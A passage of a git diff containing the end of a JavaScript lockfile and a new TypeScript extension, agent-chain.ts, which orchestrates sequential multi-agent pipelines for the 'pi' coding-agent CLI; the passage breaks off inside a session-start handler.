["yargs@16.2.0", "", { "dependencies": { "cliui": "^7.0.2", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.0", "y18n": "^5.0.5", "yargs-parser": "^20.2.2" } }, "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw=="], + + "yargs-parser": ["yargs-parser@20.2.9", "", {}, "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w=="], + + "yauzl": ["yauzl@2.10.0", "", { "dependencies": { "buffer-crc32": "~0.2.3", "fd-slicer": "~1.1.0" } }, "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g=="], + + "yoctocolors": ["yoctocolors@2.1.2", "", {}, "sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug=="], + + "zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="], + + "zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="], + + "@aws-crypto/sha256-browser/@smithy/util-utf8": ["@smithy/util-utf8@2.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^2.2.0", "tslib": "^2.6.2" } }, "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A=="], + + "@aws-crypto/util/@smithy/util-utf8": ["@smithy/util-utf8@2.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^2.2.0", "tslib": "^2.6.2" } }, "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A=="], + + "@isaacs/cliui/string-width": ["string-width@5.1.2", "", { "dependencies": { "eastasianwidth": "^0.2.0", "emoji-regex": "^9.2.2", "strip-ansi": "^7.0.1" } }, "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA=="], + + "@isaacs/cliui/wrap-ansi": ["wrap-ansi@8.1.0", "", { "dependencies": { "ansi-styles": "^6.1.0", "string-width": "^5.0.1", "strip-ansi": "^7.0.1" } }, "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ=="], + + "cli-highlight/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "cliui/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "foreground-child/signal-exit": ["signal-exit@4.1.0", "", {}, "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw=="], + + "hosted-git-info/lru-cache": ["lru-cache@11.2.6", "", {}, "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ=="], + + "node-fetch/data-uri-to-buffer": ["data-uri-to-buffer@4.0.1", "", {}, "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A=="], + + "p-retry/retry": ["retry@0.13.1", "", {}, "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg=="], + + "parse5-htmlparser2-tree-adapter/parse5": ["parse5@6.0.1", "", {}, "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw=="], + + "path-scurry/lru-cache": ["lru-cache@11.2.6", "", {}, "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ=="], + + "rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": { "glob": "dist/esm/bin.mjs" } }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="], + + "string-width/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "string-width-cjs/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "strip-ansi-cjs/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "wrap-ansi/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "wrap-ansi-cjs/strip-ansi": ["strip-ansi@6.0.1", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="], + + "@aws-crypto/sha256-browser/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@2.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^2.2.0", "tslib": "^2.6.2" } }, "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA=="], + + "@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@2.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^2.2.0", "tslib": "^2.6.2" } }, "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA=="], + + "@isaacs/cliui/string-width/emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="], + + "@isaacs/cliui/wrap-ansi/ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], + + "cliui/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "rimraf/glob/minimatch": ["minimatch@9.0.9", "", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="], + + "rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], + + "string-width-cjs/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "wrap-ansi-cjs/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "wrap-ansi/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], + + "@aws-crypto/sha256-browser/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@2.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA=="], + + "@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@2.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA=="], + + "rimraf/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], + + "rimraf/glob/path-scurry/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], + + "rimraf/glob/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + } +} diff --git a/extensions/agent-chain.ts b/extensions/agent-chain.ts new file mode 100644 index 0000000..8cf7d2a --- /dev/null +++ b/extensions/agent-chain.ts @@ -0,0 +1,797 @@ +/** + * Agent Chain — Sequential pipeline orchestrator + * + * Runs opinionated, repeatable agent workflows. Chains are defined in + * .pi/agents/agent-chain.yaml — each chain is a sequence of agent steps + * with prompt templates. The user's original prompt flows into step 1, + * the output becomes $INPUT for step 2's prompt template, and so on. + * $ORIGINAL is always the user's original prompt. + * + * The primary Pi agent has NO codebase tools — it can ONLY kick off the + * pipeline via the `run_chain` tool. On boot you select a chain; the + * agent decides when to run it based on the user's prompt. + * + * Agents maintain session context within a Pi session — re-running the + * chain lets each agent resume where it left off. + * + * Commands: + * /chain — switch active chain + * /chain-list — list all available chains + * + * Usage: pi -e extensions/agent-chain.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { Type } from "@sinclair/typebox"; +import { Text, truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; +import { spawn } from "child_process"; +import { readFileSync, existsSync, readdirSync, mkdirSync, unlinkSync } from "fs"; +import { join, resolve } from "path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ── Types ──────────────────────────────────────── + +interface ChainStep { + agent: string; + prompt: string; +} + +interface ChainDef { + name: string; + description: string; + steps: ChainStep[]; +} + +interface AgentDef { + name: string; + description: string; + tools: string; + systemPrompt: string; +} + +interface StepState { + agent: string; + status: "pending" | "running" | "done" | "error"; + elapsed: number; + lastWork: string; +} + +// ── Display Name Helper ────────────────────────── + +function displayName(name: string): string { + return name.split("-").map(w => w.charAt(0).toUpperCase() + w.slice(1)).join(" "); +} + +// ── Chain YAML Parser ──────────────────────────── + +function parseChainYaml(raw: string): ChainDef[] { + const chains: ChainDef[] = []; + let current: ChainDef | null = null; + let currentStep: ChainStep | null = null; + + for (const line of raw.split("\n")) { + // Chain name: top-level key + const chainMatch = line.match(/^(\S[^:]*):$/); + if (chainMatch) { + if (current && currentStep) { + current.steps.push(currentStep); + currentStep = null; + } + current = { name: chainMatch[1].trim(), description: "", steps: [] }; + chains.push(current); + continue; + } + + // Chain description + const descMatch = line.match(/^\s+description:\s+(.+)$/); + if (descMatch && current && !currentStep) { + let desc = descMatch[1].trim(); + if ((desc.startsWith('"') && desc.endsWith('"')) || + (desc.startsWith("'") && desc.endsWith("'"))) { + desc = desc.slice(1, -1); + } + current.description = desc; + continue; + } + + // "steps:" label — skip + if (line.match(/^\s+steps:\s*$/) && current) { + continue; + } + + // Step agent line + const agentMatch = line.match(/^\s+-\s+agent:\s+(.+)$/); + if (agentMatch && current) { + if (currentStep) { + current.steps.push(currentStep); + } + currentStep = { agent: agentMatch[1].trim(), prompt: "" }; + continue; + } + + // Step prompt line + const promptMatch = line.match(/^\s+prompt:\s+(.+)$/); + if (promptMatch && currentStep) { + let prompt = promptMatch[1].trim(); + if ((prompt.startsWith('"') && prompt.endsWith('"')) || + (prompt.startsWith("'") && prompt.endsWith("'"))) { + prompt = prompt.slice(1, -1); + } + prompt = prompt.replace(/\\n/g, "\n"); + currentStep.prompt = prompt; + continue; + } + } + + if (current && currentStep) { + current.steps.push(currentStep); + } + + return chains; +} + +// ── Frontmatter Parser ─────────────────────────── + +function parseAgentFile(filePath: string): AgentDef | null { + try { + const raw = readFileSync(filePath, "utf-8"); + const match = raw.match(/^---\n([\s\S]*?)\n---\n([\s\S]*)$/); + if (!match) return null; + + const frontmatter: Record = {}; + for (const line of match[1].split("\n")) { + const idx = line.indexOf(":"); + if (idx > 0) { + frontmatter[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + } + + if (!frontmatter.name) return null; + + return { + name: frontmatter.name, + description: frontmatter.description || "", + tools: frontmatter.tools || "read,grep,find,ls", + systemPrompt: match[2].trim(), + }; + } catch { + return null; + } +} + +function scanAgentDirs(cwd: string): Map { + const dirs = [ + join(cwd, "agents"), + join(cwd, ".claude", "agents"), + join(cwd, ".pi", "agents"), + ]; + + const agents = new Map(); + + for (const dir of dirs) { + if (!existsSync(dir)) continue; + try { + for (const file of readdirSync(dir)) { + if (!file.endsWith(".md")) continue; + const fullPath = resolve(dir, file); + const def = parseAgentFile(fullPath); + if (def && !agents.has(def.name.toLowerCase())) { + agents.set(def.name.toLowerCase(), def); + } + } + } catch {} + } + + return agents; +} + +// ── Extension ──────────────────────────────────── + +export default function (pi: ExtensionAPI) { + let allAgents: Map = new Map(); + let chains: ChainDef[] = []; + let activeChain: ChainDef | null = null; + let widgetCtx: any; + let sessionDir = ""; + const agentSessions: Map = new Map(); + + // Per-step state for the active chain + let stepStates: StepState[] = []; + let pendingReset = false; + + function loadChains(cwd: string) { + sessionDir = join(cwd, ".pi", "agent-sessions"); + if (!existsSync(sessionDir)) { + mkdirSync(sessionDir, { recursive: true }); + } + + allAgents = scanAgentDirs(cwd); + + agentSessions.clear(); + for (const [key] of allAgents) { + const sessionFile = join(sessionDir, `chain-${key}.json`); + agentSessions.set(key, existsSync(sessionFile) ? sessionFile : null); + } + + const chainPath = join(cwd, ".pi", "agents", "agent-chain.yaml"); + if (existsSync(chainPath)) { + try { + chains = parseChainYaml(readFileSync(chainPath, "utf-8")); + } catch { + chains = []; + } + } else { + chains = []; + } + } + + function activateChain(chain: ChainDef) { + activeChain = chain; + stepStates = chain.steps.map(s => ({ + agent: s.agent, + status: "pending" as const, + elapsed: 0, + lastWork: "", + })); + // Skip widget re-registration if reset is pending — let before_agent_start handle it + if (!pendingReset) { + updateWidget(); + } + } + + // ── Card Rendering ────────────────────────── + + function renderCard(state: StepState, colWidth: number, theme: any): string[] { + const w = colWidth - 2; + const truncate = (s: string, max: number) => s.length > max ? s.slice(0, max - 3) + "..." : s; + + const statusColor = state.status === "pending" ? "dim" + : state.status === "running" ? "accent" + : state.status === "done" ? "success" : "error"; + const statusIcon = state.status === "pending" ? "○" + : state.status === "running" ? "●" + : state.status === "done" ? "✓" : "✗"; + + const name = displayName(state.agent); + const nameStr = theme.fg("accent", theme.bold(truncate(name, w))); + const nameVisible = Math.min(name.length, w); + + const statusStr = `${statusIcon} ${state.status}`; + const timeStr = state.status !== "pending" ? ` ${Math.round(state.elapsed / 1000)}s` : ""; + const statusLine = theme.fg(statusColor, statusStr + timeStr); + const statusVisible = statusStr.length + timeStr.length; + + const workRaw = state.lastWork || ""; + const workText = workRaw ? truncate(workRaw, Math.min(50, w - 1)) : ""; + const workLine = workText ? theme.fg("muted", workText) : theme.fg("dim", "—"); + const workVisible = workText ? workText.length : 1; + + const top = "┌" + "─".repeat(w) + "┐"; + const bot = "└" + "─".repeat(w) + "┘"; + const border = (content: string, visLen: number) => + theme.fg("dim", "│") + content + " ".repeat(Math.max(0, w - visLen)) + theme.fg("dim", "│"); + + return [ + theme.fg("dim", top), + border(" " + nameStr, 1 + nameVisible), + border(" " + statusLine, 1 + statusVisible), + border(" " + workLine, 1 + workVisible), + theme.fg("dim", bot), + ]; + } + + function updateWidget() { + if (!widgetCtx) return; + + widgetCtx.ui.setWidget("agent-chain", (_tui: any, theme: any) => { + const text = new Text("", 0, 1); + + return { + render(width: number): string[] { + if (!activeChain || stepStates.length === 0) { + text.setText(theme.fg("dim", "No chain active. Use /chain to select one.")); + return text.render(width); + } + + const arrowWidth = 5; // " ──▶ " + const cols = stepStates.length; + const totalArrowWidth = arrowWidth * (cols - 1); + const colWidth = Math.max(12, Math.floor((width - totalArrowWidth) / cols)); + const arrowRow = 2; // middle of 5-line card (0-indexed) + + const cards = stepStates.map(s => renderCard(s, colWidth, theme)); + const cardHeight = cards[0].length; + const outputLines: string[] = []; + + for (let line = 0; line < cardHeight; line++) { + let row = cards[0][line]; + for (let c = 1; c < cols; c++) { + if (line === arrowRow) { + row += theme.fg("dim", " ──▶ "); + } else { + row += " ".repeat(arrowWidth); + } + row += cards[c][line]; + } + outputLines.push(row); + } + + text.setText(outputLines.join("\n")); + return text.render(width); + }, + invalidate() { + text.invalidate(); + }, + }; + }); + } + + // ── Run Agent (subprocess) ────────────────── + + function runAgent( + agentDef: AgentDef, + task: string, + stepIndex: number, + ctx: any, + ): Promise<{ output: string; exitCode: number; elapsed: number }> { + const model = ctx.model + ? `${ctx.model.provider}/${ctx.model.id}` + : "openrouter/google/gemini-3-flash-preview"; + + const agentKey = agentDef.name.toLowerCase().replace(/\s+/g, "-"); + const agentSessionFile = join(sessionDir, `chain-${agentKey}.json`); + const hasSession = agentSessions.get(agentKey); + + const args = [ + "--mode", "json", + "-p", + "--no-extensions", + "--model", model, + "--tools", agentDef.tools, + "--thinking", "off", + "--append-system-prompt", agentDef.systemPrompt, + "--session", agentSessionFile, + ]; + + if (hasSession) { + args.push("-c"); + } + + args.push(task); + + const textChunks: string[] = []; + const startTime = Date.now(); + const state = stepStates[stepIndex]; + + return new Promise((resolve) => { + const proc = spawn("pi", args, { + stdio: ["ignore", "pipe", "pipe"], + env: { ...process.env }, + }); + + const timer = setInterval(() => { + state.elapsed = Date.now() - startTime; + updateWidget(); + }, 1000); + + let buffer = ""; + + proc.stdout!.setEncoding("utf-8"); + proc.stdout!.on("data", (chunk: string) => { + buffer += chunk; + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + for (const line of lines) { + if (!line.trim()) continue; + try { + const event = JSON.parse(line); + if (event.type === "message_update") { + const delta = event.assistantMessageEvent; + if (delta?.type === "text_delta") { + textChunks.push(delta.delta || ""); + const full = textChunks.join(""); + const last = full.split("\n").filter((l: string) => l.trim()).pop() || ""; + state.lastWork = last; + updateWidget(); + } + } + } catch {} + } + }); + + proc.stderr!.setEncoding("utf-8"); + proc.stderr!.on("data", () => {}); + + proc.on("close", (code) => { + if (buffer.trim()) { + try { + const event = JSON.parse(buffer); + if (event.type === "message_update") { + const delta = event.assistantMessageEvent; + if (delta?.type === "text_delta") textChunks.push(delta.delta || ""); + } + } catch {} + } + + clearInterval(timer); + const elapsed = Date.now() - startTime; + state.elapsed = elapsed; + const output = textChunks.join(""); + state.lastWork = output.split("\n").filter((l: string) => l.trim()).pop() || ""; + + if (code === 0) { + agentSessions.set(agentKey, agentSessionFile); + } + + resolve({ output, exitCode: code ?? 1, elapsed }); + }); + + proc.on("error", (err) => { + clearInterval(timer); + resolve({ + output: `Error spawning agent: ${err.message}`, + exitCode: 1, + elapsed: Date.now() - startTime, + }); + }); + }); + } + + // ── Run Chain (sequential pipeline) ───────── + + async function runChain( + task: string, + ctx: any, + ): Promise<{ output: string; success: boolean; elapsed: number }> { + if (!activeChain) { + return { output: "No chain active", success: false, elapsed: 0 }; + } + + const chainStart = Date.now(); + + // Reset all steps to pending + stepStates = activeChain.steps.map(s => ({ + agent: s.agent, + status: "pending" as const, + elapsed: 0, + lastWork: "", + })); + updateWidget(); + + let input = task; + const originalPrompt = task; + + for (let i = 0; i < activeChain.steps.length; i++) { + const step = activeChain.steps[i]; + stepStates[i].status = "running"; + updateWidget(); + + const resolvedPrompt = step.prompt + .replace(/\$INPUT/g, input) + .replace(/\$ORIGINAL/g, originalPrompt); + + const agentDef = allAgents.get(step.agent.toLowerCase()); + if (!agentDef) { + stepStates[i].status = "error"; + stepStates[i].lastWork = `Agent "${step.agent}" not found`; + updateWidget(); + return { + output: `Error at step ${i + 1}: Agent "${step.agent}" not found. Available: ${Array.from(allAgents.keys()).join(", ")}`, + success: false, + elapsed: Date.now() - chainStart, + }; + } + + const result = await runAgent(agentDef, resolvedPrompt, i, ctx); + + if (result.exitCode !== 0) { + stepStates[i].status = "error"; + updateWidget(); + return { + output: `Error at step ${i + 1} (${step.agent}): ${result.output}`, + success: false, + elapsed: Date.now() - chainStart, + }; + } + + stepStates[i].status = "done"; + updateWidget(); + + input = result.output; + } + + return { output: input, success: true, elapsed: Date.now() - chainStart }; + } + + // ── run_chain Tool ────────────────────────── + + pi.registerTool({ + name: "run_chain", + label: "Run Chain", + description: "Execute the active agent chain pipeline. Each step runs sequentially — output from one step feeds into the next. Agents maintain session context across runs.", + parameters: Type.Object({ + task: Type.String({ description: "The task/prompt for the chain to process" }), + }), + + async execute(_toolCallId, params, _signal, onUpdate, ctx) { + const { task } = params as { task: string }; + + if (onUpdate) { + onUpdate({ + content: [{ type: "text", text: `Starting chain: ${activeChain?.name}...` }], + details: { chain: activeChain?.name, task, status: "running" }, + }); + } + + const result = await runChain(task, ctx); + + const truncated = result.output.length > 8000 + ? result.output.slice(0, 8000) + "\n\n... [truncated]" + : result.output; + + const status = result.success ? "done" : "error"; + const summary = `[chain:${activeChain?.name}] ${status} in ${Math.round(result.elapsed / 1000)}s`; + + return { + content: [{ type: "text", text: `${summary}\n\n${truncated}` }], + details: { + chain: activeChain?.name, + task, + status, + elapsed: result.elapsed, + fullOutput: result.output, + }, + }; + }, + + renderCall(args, theme) { + const task = (args as any).task || ""; + const preview = task.length > 60 ? task.slice(0, 57) + "..." : task; + return new Text( + theme.fg("toolTitle", theme.bold("run_chain ")) + + theme.fg("accent", activeChain?.name || "?") + + theme.fg("dim", " — ") + + theme.fg("muted", preview), + 0, 0, + ); + }, + + renderResult(result, options, theme) { + const details = result.details as any; + if (!details) { + const text = result.content[0]; + return new Text(text?.type === "text" ? text.text : "", 0, 0); + } + + if (options.isPartial || details.status === "running") { + return new Text( + theme.fg("accent", `● ${details.chain || "chain"}`) + + theme.fg("dim", " running..."), + 0, 0, + ); + } + + const icon = details.status === "done" ? "✓" : "✗"; + const color = details.status === "done" ? "success" : "error"; + const elapsed = typeof details.elapsed === "number" ? Math.round(details.elapsed / 1000) : 0; + const header = theme.fg(color, `${icon} ${details.chain}`) + + theme.fg("dim", ` ${elapsed}s`); + + if (options.expanded && details.fullOutput) { + const output = details.fullOutput.length > 4000 + ? details.fullOutput.slice(0, 4000) + "\n... [truncated]" + : details.fullOutput; + return new Text(header + "\n" + theme.fg("muted", output), 0, 0); + } + + return new Text(header, 0, 0); + }, + }); + + // ── Commands ───────────────────────────────── + + pi.registerCommand("chain", { + description: "Switch active chain", + handler: async (_args, ctx) => { + widgetCtx = ctx; + if (chains.length === 0) { + ctx.ui.notify("No chains defined in .pi/agents/agent-chain.yaml", "warning"); + return; + } + + const options = chains.map(c => { + const steps = c.steps.map(s => displayName(s.agent)).join(" → "); + const desc = c.description ? ` — ${c.description}` : ""; + return `${c.name}${desc} (${steps})`; + }); + + const choice = await ctx.ui.select("Select Chain", options); + if (choice === undefined) return; + + const idx = options.indexOf(choice); + activateChain(chains[idx]); + const flow = chains[idx].steps.map(s => displayName(s.agent)).join(" → "); + ctx.ui.setStatus("agent-chain", `Chain: ${chains[idx].name} (${chains[idx].steps.length} steps)`); + ctx.ui.notify( + `Chain: ${chains[idx].name}\n${chains[idx].description}\n${flow}`, + "info", + ); + }, + }); + + pi.registerCommand("chain-list", { + description: "List all available chains", + handler: async (_args, ctx) => { + widgetCtx = ctx; + if (chains.length === 0) { + ctx.ui.notify("No chains defined in .pi/agents/agent-chain.yaml", "warning"); + return; + } + + const list = chains.map(c => { + const desc = c.description ? ` ${c.description}` : ""; + const steps = c.steps.map((s, i) => + ` ${i + 1}. ${displayName(s.agent)}` + ).join("\n"); + return `${c.name}:${desc ? "\n" + desc : ""}\n${steps}`; + }).join("\n\n"); + + ctx.ui.notify(list, "info"); + }, + }); + + // ── System Prompt Override ─────────────────── + + pi.on("before_agent_start", async (_event, _ctx) => { + // Force widget reset on first turn after /new + if (pendingReset && activeChain) { + pendingReset = false; + widgetCtx = _ctx; + stepStates = activeChain.steps.map(s => ({ + agent: s.agent, + status: "pending" as const, + elapsed: 0, + lastWork: "", + })); + updateWidget(); + } + + if (!activeChain) return {}; + + const flow = activeChain.steps.map(s => displayName(s.agent)).join(" → "); + const desc = activeChain.description ? `\n${activeChain.description}` : ""; + + // Build pipeline steps summary + const steps = activeChain.steps.map((s, i) => { + const agentDef = allAgents.get(s.agent.toLowerCase()); + const agentDesc = agentDef?.description || ""; + return `${i + 1}. **${displayName(s.agent)}** — ${agentDesc}`; + }).join("\n"); + + // Build full agent catalog (like agent-team.ts) + const seen = new Set(); + const agentCatalog = activeChain.steps + .filter(s => { + const key = s.agent.toLowerCase(); + if (seen.has(key)) return false; + seen.add(key); + return true; + }) + .map(s => { + const agentDef = allAgents.get(s.agent.toLowerCase()); + if (!agentDef) return `### ${displayName(s.agent)}\nAgent not found.`; + return `### ${displayName(agentDef.name)}\n${agentDef.description}\n**Tools:** ${agentDef.tools}\n**Role:** ${agentDef.systemPrompt}`; + }) + .join("\n\n"); + + return { + systemPrompt: `You are an agent with a sequential pipeline called "${activeChain.name}" at your disposal.${desc} +You have full access to your own tools AND the run_chain tool to delegate to your team. + +## Active Chain: ${activeChain.name} +Flow: ${flow} + +${steps} + +## Agent Details + +${agentCatalog} + +## When to Use run_chain +- Significant work: new features, refactors, multi-file changes, anything non-trivial +- Tasks that benefit from the full pipeline: planning, building, reviewing +- When you want structured, multi-agent collaboration on a problem + +## When to Work Directly +- Simple one-off commands: reading a file, checking status, listing contents +- Quick lookups, small edits, answering questions about the codebase +- Anything you can handle in a single step without needing the pipeline + +## How run_chain Works +- Pass a clear task description to run_chain +- Each step's output feeds into the next step as $INPUT +- Agents maintain session context — they remember previous work within this session +- You can run the chain multiple times with different tasks if needed +- After the chain completes, review the result and summarize for the user + +## Guidelines +- Use your judgment — if it's quick, just do it; if it's real work, run the chain +- Keep chain tasks focused and clearly described +- You can mix direct work and chain runs in the same conversation`, + }; + }); + + // ── Session Start ─────────────────────────── + + pi.on("session_start", async (_event, _ctx) => { + 